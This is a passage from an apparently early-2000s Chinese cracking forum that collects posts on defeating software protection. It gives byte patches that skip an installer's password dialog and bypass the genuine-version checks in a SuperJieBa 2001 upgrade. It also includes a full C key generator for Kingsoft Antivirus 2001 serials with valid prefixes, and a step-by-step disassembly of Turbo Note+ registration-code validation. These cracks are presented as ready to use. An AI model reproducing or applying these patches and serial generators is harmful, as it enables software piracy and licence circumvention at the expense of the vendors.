015F:00401DD0 E954FFFFFF JMP 00401D29 不对就来到这里跳，不让安装
所以把修改地方一改9090，修改地方二改EB11。(小弟水平太低，找不到密码，只能改代码了。)
测试：运行后在密码框直接点OK，好了，开始安装了。

标 题:破解方法之二！ (242字)
发信人:波导终结者[BCG]
时 间:2001-10-8 17:45:37
详细信息:

015F:00401D3C FF158C414000 CALL `USER32!DialogBoxParamA
因为是这行叫出了密码框，而修改地方二改完后就直接开始安装，所以把这行改成和修改地方二一样的
EB1190909090（位数不够用90加），这样一运行开始安装，不要密码框了。

波导终结者[BCG]


超级解霸2001免费升级版

 标 题:破解 超级解霸2001免费升级版 (2千字)
发信人:hsf0214
时 间:2001-10-24 17:40:24
详细信息:
破解 超级解霸2001免费升级版
下载地址为：URL http://www.download.com.cn/show.phtml?action=download&id=4997&lo=1&ftpurl=ftp://ftp.download.com.cn/pub/new_multimedia/herosoft2001.zip&name=herosoft2001.zip
软件限制：1。要原安装版
2。原安装版要是正版

其实这两个限制就是想保护原正版的用户的权益啦。
因为我想这个安装包这么大，害我下载了老半天，应该不需要原来的东西，另外，这个
版本的支持的新技术恐怕不是升级可以搞定的。So，绕过安装程序的那些无谓的判断，应该
就可以Happy了。。。

屠龙宝刀：TRW2000 1.23版
过程：
当然是先用TRW2000来装载SETUP啦
然后F10一路P，P，P。。。当然不是，先让他跳出出错框啦。
粗略地判断一下。。。
在 407cae call 00404e10 一CALL就完了，有问题
再来
在407cae里跟进去，
在404e26 Call near [eax+0c] 一CALL就完了，有问题。
再重来
在404e26里跟进去，
关键地方到了。。。
016F:10001290 CALL 10001CB0
016F:10001295 TEST EAX,EAX
016F:10001297 JNZ 100012B2 (NO JUMP)--No Jump???不跳就死了
016F:10001299 PUSH BYTE +00
016F:1000129B PUSH DWORD 1001BA80
016F:100012A0 PUSH DWORD 1001BA68
016F:100012A5 PUSH BYTE +00
016F:100012A7 CALL `USER32!MessageBoxA` >>>>show 没找到原来的版本
016F:100012AD XOR EAX,EAX
016F:100012AF RET 04
016F:100012B2 CALL 10001BC0
016F:100012B7 CMP EAX,BYTE -01
016F:100012BA JZ 100012D5 (NO JUMP)--???不跳就又死了
016F:100012BC PUSH BYTE +00
016F:100012BE PUSH DWORD 1001BA80
016F:100012C3 PUSH DWORD 1001BA4C
016F:100012C8 PUSH BYTE +00
016F:100012CA CALL `USER32!MessageBoxA` >>>>>show 不是正版的 :-(
016F:100012D0 XOR EAX,EAX
016F:100012D2 RET 04
016F:100012D5 MOV EAX,01 >>>>>喜欢这行代码吗???反正我很喜欢
016f:100012DA RET 04
So，这两个地方改成跳转就 OK了。
想要用winhex来修正一下，居然没找到要改的代码!?
那就算了。。。
反正已经解决了
不知道这样安装有没有后遗症？？？不管了。。。
如果没有后遗症的话，推荐去下载这个2001免费升级版，可以免去以前的限时版和D版的种种不便
这可是真真正正的免费版哦，只要你知道如何去“安装”它。。。呵呵呵。。。
大功告成，打个Kiss! #@$#!!@#$%%!!@@!$#%。。。。 hsf0214于2001.10.24下午15:40

这是上面这段代码的CODE在内存区的映象，(我不知道怎么说这个词)要搜索代码的话就参照一下吧:
0030:10001290 E8 1B 0A 00 00 85 C0 75-19 6A 00 68 80 BA 01 10 ?...吚u.j.h�?.
0030:100012A0 68 68 BA 01 10 6A 00 FF-15 10 03 02 10 33 C0 C2 hh?.j.�.....3缆
0030:100012B0 04 00 E8 09 09 00 00 83-F8 FF 74 19 6A 00 68 80 ..?...凐�t.j.h�
0030:100012C0 BA 01 10 68 4C BA 01 10-6A 00 FF 15 10 03 02 10 ?.hL?.j.�.....
0030:100012D0 33 C0 C2 04 00 B8 01 00-00 00 C2 04 00 CC CC CC 3缆..?...?.烫?
==============================================


金山毒霸2001

 标 题:先贴上金山毒霸2001的序列号机吧~！ (1千字)
发信人:funyliang
时 间:2001-9-14 9:31:03
详细信息:
 Tc2.0调试通过。
#include<stdio.h>
#include<dos.h>
#include<stdlib.h>
main()
{
int hesum=0;
int a1,a2,a3,a4,a5,a6,a7,a8,a9,a10;
int rm;
int s0e,s0f,s10,s11,s12,s13,s15,s16,s17,s18,s19,s1a;
for
(;;)
{randomize();
s0e=random(9);
s10=random(9);
s13=random(9);
s16=random(9);
s18=random(9);
s19=random(9);
s1a=random(9);
a1=9-s13;
s15=a1*3%10;
s0f=a1*7%10;
s12=a1*2%10;
a2=9-s1a;
if (s18<a2*6%10) a3=10+s18-a2*6%10;
else a3=s18-a2*6%10;
if
(s10<a3*4%10) a4=10+s10-a3*4%10;
else a4=s10-a3*4%10;
if (s16<a4*7%10)
a5=10+s16-a4*7%10;
else a5=s16-a4*7%10;
if (s19<a4*3%10) a6=10+s19-a4*3%10;
else a6=s19-a4*3%10;
a7=(s0e+a1)%10;
if (s12<a1*2%10) a8=10+s12-a1*2%10;
else a8=s12-a1*2%10;
if (s0f<a1*7%10) a9=10+s0f-a1*7%10;
else
a9=s0f-a1*7%10;
if (s15<a1*3%10) a10=10+s15-a1*3%10;
else a10=s15-a1*3%10;
hesum=a1+a2+a3+a4+a5+a6+a7+a8+a9+a10;
s11=hesum/10;
s17=hesum%10;
if (a10==0)
{if (a9<=2)
{printf("Copyright by CYL~!\n");
printf("http://funyliang.go.163.com/\n");
printf("Serial number is 101000-110000-%d%d%d%d%d%d-%d%d%d%d%d%d\n",s0e,s0f,s10,s11,s12,s13,s15,s16,s17,s18,s19,s1a);
printf("Thank you use this Keygen~!\n");
printf("Press any key to exit~!\n");
getch();
break;
}
}
}
}
生成的序列号可以使用和升级。
其实前面12位可以乱填，但不能网上升级，用上面给出的就可以升级了。
等以后在完成前面的12位。

funyliang
E:cylljj@elong.com

标 题:前12位和版本有关系，后12位是通用的。 (139字)
发信人:funyliang
时 间:2001-9-14 10:25:28
详细信息:

增强版：030300-110000
毒霸II: 100300-110001
2001: 100600-110000
101000-110000
101001-110000
钻石版： 100700-110000

标 题:关于金山毒霸2001序列号机的一点补充 (8千字)
发信人:funyliang
时 间:2001-9-18 10:27:16
详细信息:

今天突然想起金山毒霸2001序列号机还没有完成，就对update.exe进行跟踪，终于找到如下：
* Referenced by a CALL at Address:
|:00418ABF
|
:0040875E 83257C15430000 and dword ptr [0043157C], 00000000
:00408765 53 push ebx
:00408766 56 push esi

* Reference To: MSVCRT._strnicmp, Ord:0000h
|
:00408767 8B3530E64100 mov esi, dword ptr [0041E630]
:0040876D 57 push edi
:0040876E 8B7C2410 mov edi, dword ptr [esp+10]
:00408772 6A06 push 00000006

* Possible StringData Ref from Data Obj ->"KAV00-"<—就是这个啦！
:00408774 68F4F64200 push 0042F6F4
:00408779 57 push edi
:0040877A FFD6 call esi
:0040877C 83C40C add esp, 0000000C
:0040877F 85C0 test eax, eax
:00408781 7411 je 00408794
:00408783 6A06 push 00000006

* Possible StringData Ref from Data Obj ->"KAV02-"-"<—就是这个啦！
|
:00408785 68ECF64200 push 0042F6EC
:0040878A 57 push edi
:0040878B FFD6 call esi
:0040878D 83C40C add esp, 0000000C
:00408790 85C0 test eax, eax
:00408792 7511 jne 004087A5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408781(C)
|
:00408794 C7057C15430001000000 mov dword ptr [0043157C], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004087D4(U), :004087F0(U), :0040880C(U), :00408828(U), :0040886E(U)
|:00408886(U), :0040889E(U), :004088B2(U), :004088CA(U), :004088E9(C)
|
:0040879E 6A01 push 00000001
:004087A0 58 pop eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004088F1(U)
|
:004087A1 5F pop edi
:004087A2 5E pop esi
:004087A3 5B pop ebx
:004087A4 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408792(C)
|
:004087A5 6A06 push 00000006

* Possible StringData Ref from Data Obj ->"KAV01-"-"<—就是这个啦！
|
:004087A7 68E4F64200 push 0042F6E4
:004087AC 57 push edi
:004087AD FFD6 call esi
:004087AF 83C40C add esp, 0000000C
:004087B2 6A04 push 00000004
:004087B4 5B pop ebx
:004087B5 85C0 test eax, eax
:004087B7 0F8497000000 je 00408854
:004087BD 6A06 push 00000006

* Possible StringData Ref from Data Obj ->"KAVFF-"-"<—就是这个啦！
|
:004087BF 68DCF64200 push 0042F6DC
:004087C4 57 push edi
:004087C5 FFD6 call esi
:004087C7 83C40C add esp, 0000000C
:004087CA 85C0 test eax, eax
:004087CC 7508 jne 004087D6
:004087CE 891D7C154300 mov dword ptr [0043157C], ebx
:004087D4 EBC8 jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004087CC(C)
|
:004087D6 53 push ebx

* Possible StringData Ref from Data Obj ->"1006"-"<—就是这个啦！
|
:004087D7 68D4F64200 push 0042F6D4
:004087DC 57 push edi
:004087DD FFD6 call esi
:004087DF 83C40C add esp, 0000000C
:004087E2 85C0 test eax, eax
:004087E4 750C jne 004087F2
:004087E6 C7057C15430008000000 mov dword ptr [0043157C], 00000008
:004087F0 EBAC jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004087E4(C)
|
:004087F2 53 push ebx

* Possible StringData Ref from Data Obj ->"1007"-"<—就是这个啦！
|
:004087F3 68CCF64200 push 0042F6CC
:004087F8 57 push edi
:004087F9 FFD6 call esi
:004087FB 83C40C add esp, 0000000C
:004087FE 85C0 test eax, eax
:00408800 750C jne 0040880E
:00408802 C7057C15430000020000 mov dword ptr [0043157C], 00000200
:0040880C EB90 jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408800(C)
|
:0040880E 53 push ebx

* Possible StringData Ref from Data Obj ->"1010"-"<—就是这个啦！
|
:0040880F 68C4F64200 push 0042F6C4
:00408814 57 push edi
:00408815 FFD6 call esi
:00408817 83C40C add esp, 0000000C
:0040881A 85C0 test eax, eax
:0040881C 750F jne 0040882D
:0040881E C7057C15430000010000 mov dword ptr [0043157C], 00000100
:00408828 E971FFFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040881C(C)
|
:0040882D 53 push ebx

* Possible StringData Ref from Data Obj ->"1011"-"<—就是这个啦！
|
:0040882E 68BCF64200 push 0042F6BC
:00408833 57 push edi
:00408834 FFD6 call esi
:00408836 83C40C add esp, 0000000C
:00408839 85C0 test eax, eax
:0040883B 750A jne 00408847
:0040883D C7057C15430008000000 mov dword ptr [0043157C], 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040883B(C)
|
:00408847 833D7C15430002 cmp dword ptr [0043157C], 00000002
:0040884E 0F858E000000 jne 004088E2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004087B7(C)
|
:00408854 83257C15430000 and dword ptr [0043157C], 00000000
:0040885B E802620000 call 0040EA62
:00408860 85C0 test eax, eax
:00408862 740F je 00408873
:00408864 C7057C15430002000000 mov dword ptr [0043157C], 00000002
:0040886E E92BFFFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408862(C)
|
:00408873 E80F610000 call 0040E987
:00408878 85C0 test eax, eax
:0040887A 740F je 0040888B
:0040887C C7057C15430010000000 mov dword ptr [0043157C], 00000010
:00408886 E913FFFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040887A(C)
|
:0040888B E889610000 call 0040EA19
:00408890 85C0 test eax, eax
:00408892 740F je 004088A3
:00408894 C7057C15430020000000 mov dword ptr [0043157C], 00000020
:0040889E E9FBFEFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408892(C)
|
:004088A3 E828610000 call 0040E9D0
:004088A8 85C0 test eax, eax
:004088AA 740B je 004088B7
:004088AC 891D7C154300 mov dword ptr [0043157C], ebx
:004088B2 E9E7FEFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004088AA(C)
|
:004088B7 E8EF610000 call 0040EAAB
:004088BC 85C0 test eax, eax
:004088BE 740F je 004088CF
:004088C0 C7057C15430040000000 mov dword ptr [0043157C], 00000040
:004088CA E9CFFEFFFF jmp 0040879E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004088BE(C)
|
:004088CF E820620000 call 0040EAF4
:004088D4 85C0 test eax, eax
:004088D6 740A je 004088E2

只要序列号前6或者4位和上面标出的相同就可以了，其他的可以随你填，但不包括后面12位，序列号器我就不编了。
详见：http://www.chat001.com/forum/crackforum/20274.html


Turbo Note+ V4.4

 标 题:Turbo Note+ V4.4注册机制分析 (19千字)
发信人:囚童
时 间:2001-11-7 9:28:09
详细信息:
Turbo Note+ V4.4注册机制分析

作者:　囚童[FCG][BCG]
课题:　Turbo Note+ V4.4注册机制分析
出品： South Pacific InformationServices Ltd
背景:　PACKED WITH Thrink v3
平台： win95/98, winNT/2000
下载:　http://turbopress.com/tnplus44.exe
尺寸： 769KB
工具:　TRW 2000
冲击波2000
       W32Dasm V8.93

关键字：　软件破解 注册码

TurboNote+是一个方便的“即时帖”软件，可以工作在Win95/98， WinNT 和 Win2000
环境下。它可以即时在自己或通过IP地址向其他人的屏幕上贴上一个可定义尺寸和颜色
的"留言条"，也可以按预定的时间启动备忘提示功能。
通过"留言条"，可以方便地启动可执行程序、互联网址、E-mail地址，也可以把它们作
为附件发送给指定的IP地址。它可以隐藏，也可以再现，甚至关机后信息也不会丢失。
使用十分方便。

TurboNote V4.4未注册版有30天的时间限制。过期后会随时出现延时的注册窗口，程序
仍能使用。

TurboNote+是一个被压缩了的可执行软件，用一般的方法无法修改。它的脱壳较简单，
用冲击波2000找到程序入口，在TRW2000下定位入口，再用MAKEPE命令很容易就脱壳成
功。

TurboNote+在注册时不出现明码，大多数情况下，输入了错误的注册码得不到提示，
因此用动态跟踪寻找注册入口较困难。相反，用静态分析却相当简单。

以下是对其注册机制的分析:

用W32Dasm打开TurboNote+主文件TBNOTE.EXE，以REGISTER为关键字搜索，定位在：

* Possible StringData Ref from Code Obj ->"There was a problem when saving "
->"the registry key Try again "
->"please."
|
:00412BF4 push 00470968
:00412BF9 push eax

向上看，可以找到：

* Reference To: KERNEL32.lstrlenA， Ord:0000h
|
:00412B4D　Call　dword ptr [00467128]
:00412B53　cmp 　eax， 00000014　　　　　　　　　　　　　　　<==串长≥Ox14
:00412B56　jl 　00412DD8
:00412B5C　push　00000064
:00412B5E　lea 　ecx， dword ptr [ebp-44]
:00412B61　call　0042AA60
:00412B66　xor 　ebx， ebx
:00412B68　push　00000019
:00412B6A　lea 　ecx， dword ptr [ebp-50]
:00412B6D　mov 　dword ptr [ebp-04]， ebx
:00412B70　call　0042AA60

嗯，有点象，注册码长度可能大于20个字符。怪不得输错了注册码得不到提示，因为大
多数人一开始是不会输入那么长的一串码的。

启动TRW2000，点击OK使其最小化。

双击TurboNote+图标，TurboNote+在屏幕右下脚生成一个TurboNote+图标。
右击这个图标，会弹出一个右键菜单，选GENERAL SETTINGS，GENERAL SETTINGS窗口弹
出，点REGISTER TURBONOTE+选项卡，该卡被调到窗口最前面，在REGISTRATION CODE:
框中随便输入20个字母数字，我们后面称它串。注意，TurboNote+的注册码拒绝键盘上
的某些字符，例如[BCG]的方括号。

按CTRL+N，激活TRW。

下指令:BPX 412B53，按F5，TurboNote+再次被TRW截获。

按F10,一路走一路看，来到：

* Possible StringData Ref from Code Obj ->"SOFTWARE\SPIS Ltd\TurboNote\"
->"Registration"
|
:00412B86　push　004709B4
:00412B8B　push　80000002
:00412B90　lea 　ecx, dword ptr [ebp-6C]
:00412B93　mov 　[ebp-04], 02
:00412B97　call　0044CA50
:00412B9C　push　0000012C
:00412BA1　lea 　ecx, dword ptr [ebp-20]
:00412BA4　mov 　[ebp-04], 03
:00412BA8　call　0042AA60
:00412BAD　push　edi
:00412BAE　lea 　ecx, dword ptr [ebp-20]
:00412BB1　mov 　[ebp-04], 04
:00412BB5　call　0042AF00
:00412BBA　mov 　eax, dword ptr [ebp-4C]
:00412BBD　mov 　ecx, dword ptr [ebp-40]
:00412BC0　mov 　edx, dword ptr [ebp-1C]
:00412BC3　mov 　eax, dword ptr [eax]
:00412BC5　mov 　ecx, dword ptr [ecx]
:00412BC7　mov 　edx, dword ptr [edx]
:00412BC9　push　eax
:00412BCA　push　ecx
:00412BCB　push　edx
:00412BCC　call　0044B470　　　　　　　　　　　　<==注册模块入口，按F8进入
:00412BD1　add 　esp, 0000000C
:00412BD4　test　eax, eax
:00412BD6　je 0　0412D2A
:00412BDC　mov 　ecx, esi
:00412BDE　call　00412DF0
:00412BE3　test　eax, eax
:00412BE5　jne 　00412C05
:00412BE7　mov 　eax, dword ptr [esi+000001B0]
:00412BED　push　00000010

412BCC是注册模块入口，按F8进入，来到：

* Referenced by a CALL at Addresses:
|:00412BCC, :0044AC60, :0044AEE5
|
:0044B470　sub 　esp, 00000304
:0044B476　lea 　eax, dword ptr [esp+00000080]
:0044B47D　push　ebx
:0044B47E　push　ebp
:0044B47F　push　esi
:0044B480　push　edi

* Possible StringData Ref from Code Obj ->"ABCDEFGHIJKLMNOPQRSTUVWXYZabcde"
->"fghijklmnopqrst"
->"uvwxyz0123456789+/="
|
:0044B481　push　00473000
:0044B486　push　eax

* Reference To: KERNEL32.lstrcpyA, Ord:0000h
|
:0044B487　Call　dword ptr [0046712C]
:0044B48D　mov 　ecx, 00000040　　　　　　　　　　<==从这里开始建密匙对照表
:0044B492　or e　ax, FFFFFFFF
:0044B495　lea 　edi, dword ptr [esp+000000D2]
:0044B49C　repz
:0044B49D　stosd
:0044B49E　mov 　eax, 00000041

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044B513(C)
|
:0044B4FF　mov 　byte ptr [esp+eax+000001DC], 00
:0044B507　mov 　byte ptr [esp+eax+00000241], 00
:0044B50F　inc 　eax
:0044B510　cmp 　eax, 00000064
:0044B513　jl 　0044B4FF
:0044B515　mov 　esi, dword ptr [esp+00000318]
:0044B51C　mov 　dword ptr [esp+000002A8], 3F7FDEFF
:0044B527　push　esi
:0044B528　mov 　byte ptr [esp+000001DC], FF　　<==第二遍运算时使用的密匙表
:0044B530　mov 　byte ptr [esp+000001DD], DE
:0044B538　mov 　byte ptr [esp+000001DE], 7F
:0044B540　mov 　byte ptr [esp+000001DF], cl

:0044B547　Call　 dword ptr [00467128]
:0044B54D　mov 　edx, eax
:0044B54F　cmp 　edx, 00000014
:0044B552　jl 　0044B6D5
:0044B558　mov 　dword ptr [esp+18], edi
:0044B55C　mov 　ecx, 00000019
:0044B561　xor 　eax, eax
:0044B563　lea 　edi, dword ptr [esp+28]
:0044B567　lea 　ebp, dword ptr [edx+esi-04]
:0044B56B　lea 　ebx, dword ptr [edx+esi-03]
:0044B56F　repz
:0044B570　stosd
:0044B571　mov 　al, byte ptr [ebp+00]
:0044B574　lea 　edi, dword ptr [edx+esi-02]
:0044B578　mov 　byte ptr [esp+10], al
:0044B57C　mov 　cl, byte ptr [ebx]
:0044B57E　mov 　byte ptr [esp+11], cl
:0044B582　mov 　al, byte ptr [edi]
:0044B584　lea 　edx, dword ptr [edx+esi-01]
:0044B588　mov 　byte ptr [esp+12], al
:0044B58C　mov 　dword ptr [esp+24], edx
:0044B590　push　0016EB35
:0044B595　mov 　cl, byte ptr [edx]
:0044B597　lea 　edx, dword ptr [esp+1C]
:0044B59B　mov 　byte ptr [esp+17], cl
:0044B59F　push　edx
:0044B5A0　lea 　eax, dword ptr [esp+18]
:0044B5A4　push　00000004　　　　　　　　　　　<==先处理末４位
:0044B5A6　lea 　ecx, dword ptr [esp+34]
:0044B5AA　push　eax
:0044B5AB　push　ecx
:0044B5AC　lea 　ecx, dword ptr [esp+000000A4]
:0044B5B3　mov 　dword ptr [esp+34], edi
:0044B5B7　mov 　[esp+28], 00
:0044B5BC　call　00406F20　　　　　　　　　　　 <==末４位处理模块，按F8进入
:0044B5C1　test　eax, eax
:0044B5C3　jne 　0044B5D8
:0044B5C5　mov 　edx, dword ptr [esp+18]
:0044B5C9　pop 　edi
:0044B5CA　pop 　esi
:0044B5CB　pop 　ebp
:0044B5CC　mov 　byte ptr [esp+edx+1C], al
:0044B5D0　pop 　ebx
:0044B5D1　add 　esp, 00000304
:0044B5D7　ret

通过后面对注册机制的分析，可以从上面建立的密匙对照表总结出，TurboNote+的注
册码只接受0-9、A-Z、a-z、“＋”和“/”，其它为无效字符。

在44B5BC按F8进入，来到406F20，这是对串尾末4位的处理。我们可以看两种串尾的结
构，一种串尾为任意码，另一种串尾为"=="，两种算法的效果基本是一样的，这里我
们来看第一种。

* Referenced by a CALL at Addresses:
|:004074D6, :0044B5BC
|
:00406F20　sub 　esp, 000000D0
:00406F26　xor 　eax, eax
:00406F28　push　ebx
:00406F29　mov 　ebx, dword ptr [esp+000000DC]
:00406F30　push　ebp
:00406F31　push　esi
:00406F32　mov 　esi, dword ptr [esp+000000E8]
:00406F39　mov 　ebp, ecx
:00406F3B　push　edi
:00406F3C　mov 　ecx, 00000019
:00406F41　lea 　edi, dword ptr [esp+78]
:00406F45　repz
:00406F46　stosd
:00406F47　cmp 　byte ptr [ebx+esi-01], 3D　　　　<==注意这里,串尾一个"="号
:00406F4C　je 0　0406FC9
:00406F4E　mov 　ecx, 00000019　　　　　　　　　　<==串尾为任意码的处理
:00406F53　xor 　eax, eax
:00406F55　lea 　edi, dword ptr [esp+10]
:00406F59　push　esi
:00406F5A　repz
:00406F5B　stosd
:00406F5C　lea 　eax, dword ptr [esi+2*esi]　　　　　　　　　　　<==串长x3
:00406F5F　mov 　edi, dword ptr [esp+000000F4]
:00406F66　shl 　eax, 1　　　　　　　　　　　　　　　　　　　　　<==结果x2
:00406F68　cdq
:00406F69　and 　edx, 00000007
:00406F6C　push　ebx
:00406F6D　add 　eax, edx
:00406F6F　mov 　ecx, ebp
:00406F71　sar 　eax, 03　　　　　　　　　　　　　　　　　　　　 <==结果/8
:00406F74　mov 　dword ptr [edi], eax　　　　　　<==码长关键字,记下这个地址
:00406F76　lea 　eax, dword ptr [esp+18]
:00406F7A　push　eax
:00406F7B　call　00407220　　　　　　　　　　　　　　　　<==对串尾进行处理
:00406F80　test　eax, eax
:00406F82　jne 　00406F91　　　　　　　　　　　　　　　　<==成功则跳
:00406F84　pop 　edi
:00406F85　pop 　esi
:00406F86　pop 　ebp
:00406F87　pop 　ebx
:00406F88　add 　esp, 000000D0
:00406F8E　ret 　0014

* Referenced by a CALL at Address:
|:00406F7B
|
:00407220 push ebx
:00407221 push ebp
:00407222 mov ebp, dword ptr [esp+14]
:00407226 push esi
:00407227 push edi
:00407228 xor edi, edi
:0040722A xor edx, edx
:0040722C test ebp, ebp
:0040722E jle 004072D2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004072CC(C)
|
:00407234 mov ebx, dword ptr [esp+18]
:00407238 lea esi, dword ptr [edx+01]
:0040723B movsx eax, byte ptr [ebx+esi-01]　　　<==四位数一组，取第１位数
:00407240 mov al, byte ptr [eax+ecx+42]　　　　　　　　　　<==查表取值
:00407244 test al, al
:00407246 jl 004072DE
:0040724C and eax, 0000003F　　　　　　　　　　　　　　　　<==3f内有效
:0040724F shl eax, 06　　　　　　　　　　　　　　　　　　　<==结果=值*Ox40
:00407252 cmp esi, ebp
:00407254 jge 0040726C
:00407256 movsx ebx, byte ptr [edx+ebx+01]　　　　　　　　 <==取下一位数
:0040725B mov bl, byte ptr [ebx+ecx+42]　　　　　　　　　　<==查表取值
:0040725F test bl, bl
:00407261 jl 004072DE
:00407263 and ebx, 0000003F　　　　　　　　　　　　　　　　<==3f内有效
:00407266 or eax, ebx　　　　　　　　　　　　　　　　　　<==加这个值到结果
:00407268 mov ebx, dword ptr [esp+18]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407254(C)
|
:0040726C lea ebp, dword ptr [esi+01]
:0040726F shl eax, 06　　　　　　　　　　　　　　　　　　　<==结果=值*Ox40
:00407272 cmp ebp, dword ptr [esp+1C]
:00407276 jge 0040728E
:00407278 movsx ebx, byte ptr [edx+ebx+02]　　　　　　　 <==取下一位数
:0040727D mov bl, byte ptr [ebx+ecx+42]　　　　　　　　　<==查表取值
:00407281 test bl, bl
:00407283 jl 004072DE
:00407285 and ebx, 0000003F　　　　　　　　　　　　　　　<==3f内有效
:00407288 or eax, ebx　　　　　　　　　　　　　　　　　　<==加这个值到结果
:0040728A mov ebx, dword ptr [esp+18]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407276(C)
|
:0040728E mov ebp, dword ptr [esp+1C]
:00407292 add esi, 00000002
:00407295 shl eax, 06　　　　　　　　　　　　　　　　　　 <==结果=值*Ox40
:00407298 cmp esi, ebp
:0040729A jge 004072AE
:0040729C movsx esi, byte ptr [edx+ebx+03]　　　　　　　　<==取最后一位数
:004072A1 mov bl, byte ptr [esi+ecx+42] 　　　　　　　　　<==查表取值
:004072A5 test bl, bl
:004072A7 jl 004072DE
:004072A9 and ebx, 0000003F 　　　　　　　　　　　　　　　<==3f内有效
:004072AC or eax, ebx 　　　　　　　　　　　　　　　　　　<==加这个值到结果

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040729A(C)
|
:004072AE mov esi, dword ptr [esp+14]
:004072B2 add edx, 00000004
:004072B5 mov byte ptr [edi+esi+02], al　　　　　　<==结果为三位，存为新串
:004072B9 add edi, 00000003
:004072BC shr eax, 08　　　　　　　　　　　　　　　<==结果/Ox100
:004072BF mov byte ptr [edi+esi-02], al　　　　　　<==取余
:004072C3 shr eax, 08　　　　　　　　　　　　　　　<==结果/Ox100
:004072C6 mov byte ptr [edi+esi-03], al　　　　　　<==取商
:004072CA cmp edx, ebp
:004072CC jl 00407234

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040722E(C)
|
:004072D2 pop edi
:004072D3 pop esi
:004072D4 pop ebp
:004072D5 mov eax, 00000001
:004072DA pop ebx
:004072DB ret 000C

406F7B的call若运算成功，退出后会跳到406F91：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00406F82(C)
|
:00406F91 mov eax, dword ptr [edi]
:00406F93 xor ecx, ecx
:00406F95 test eax, eax
:00406F97 jle 004070F9
:00406F9D mov eax, dword ptr [esp+000000E4]
:00406FA4 lea esi, dword ptr [esp+10]
:00406FA8 sub esi, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00406FB5(C)
|
:00406FAA mov dl, byte ptr [esi+eax]　　　<==取第一遍的运算结果，存为新串
:00406FAD inc ecx
:00406FAE mov byte ptr [eax], dl　　　　　<==校验关键字，记下这个地址
:00406FB0 mov edx, dword ptr [edi]
:00406FB2 inc eax
:00406FB3 cmp ecx, edx
:00406FB5 jl 00406FAA
:00406FB7 pop edi
:00406FB8 pop esi
:00406FB9 pop ebp
:00406FBA mov eax, 00000001
:00406FBF pop ebx
:00406FC0 add esp, 000000D0
:00406FC6 ret 0014

校验关键字是由串的末四位运算而来的，它实际上是注册用户名累加和的尾数。

对串的前半部分，要做两遍运算处理，其第一遍运算同样调用的是上面的模块，这里
不再赘述。

第二遍运算，是在407553的调用中进行的，我们来看一下：

* Referenced by a CALL at Address:
|:00407553
|
:00407580　mov 　eax, dword ptr [ecx+00000144]　<==从串首取第一遍的运算结果
:00407586　mov 　dl, byte ptr [ecx+eax+00000148]
:0040758D　mov 　al, byte ptr [esp+04]　　　　　<==取4个字的密匙表
:00407591　xor 　dl, al 　　　　　　　　　　　　<==4位一组，做XOR运算
:00407593　mov 　eax, dword ptr [esp+08]
:00407597　mov 　byte ptr [eax], dl
:00407599　mov 　edx, dword ptr [ecx+00000144]
:0040759F　inc 　edx
:004075A0　and 　edx, 80000003
:004075A6　jns 　004075AD
:004075A8　dec 　edx
:004075A9　or　　edx, FFFFFFFC
:004075AC　inc 　edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004075A6(C)
|
:004075AD　mov　dword ptr [ecx+00000144], edx
:004075B3　mov　eax, 00000001
:004075B8　ret　0008

下面进行注册码效验：

* Referenced by a CALL at Address:
|:0040751C
|
:004075C0　sub 　esp, 0000001C
:004075C3　mov 　eax, 00000009
:004075C8　push　ebp
:004075C9　push　esi
:004075CA　mov 　esi, ecx
:004075CC　xor 　ebp, ebp
:004075CE　mov 　ecx, dword ptr [esp+2C]　　　　　<==取前面记下的码长关键字
:004075D2　push　edi
:004075D3　mov 　edi, dword ptr [esp+2C]　　　<==取第二遍运算结果的串首地址
:004075D7　add 　ecx, FFFFFFFC　　　　　　　　　　<==减4
:004075DA　cmp 　ecx, eax　　　　　　　　　　　　 <==大于等于9？
:004075DC　jl　　004075F0
:004075DE　lea 　ebp, dword ptr [ecx-08]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004075EE(C)
|
:004075E1　mov　dl, byte ptr [eax+edi]　　　　　　　<==从第9个数取值
:004075E4　mov　byte ptr [esi+eax+00000143], dl　　 <==存入存储单元
:004075EB　inc　eax
:004075EC　cmp　eax, ecx　　　　　　　　　　　　<==取N个，N=码长关键字－4-9
:004075EE　jle　004075E1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004075DC(C)
|
:004075F0　mov 　byte ptr [esi+ebp+0000014C], 00
:004075F8　mov 　di, word ptr [edi+03]
:004075FC　and 　edi, 0000FFFF
:00407602　lea 　eax, dword ptr [esp+0C]
:00407606　push　edi

* Possible StringData Ref from Code Obj ->"N=%d"
|
:00407607　push　 0046F31C
:0040760C　push　 eax

* Reference To: USER32.wsprintfA, Ord:0000h
|
:0040760D　Call　dword ptr [004672B4]
:00407613　add 　esi, 000001B1
:00407619　push　0000000A
:0040761B　push　esi
:0040761C　push　edi
:0040761D　call　004628BC
:00407622　add 　esp, 00000018
:00407625　mov 　dword ptr [004771BC], 00262D75
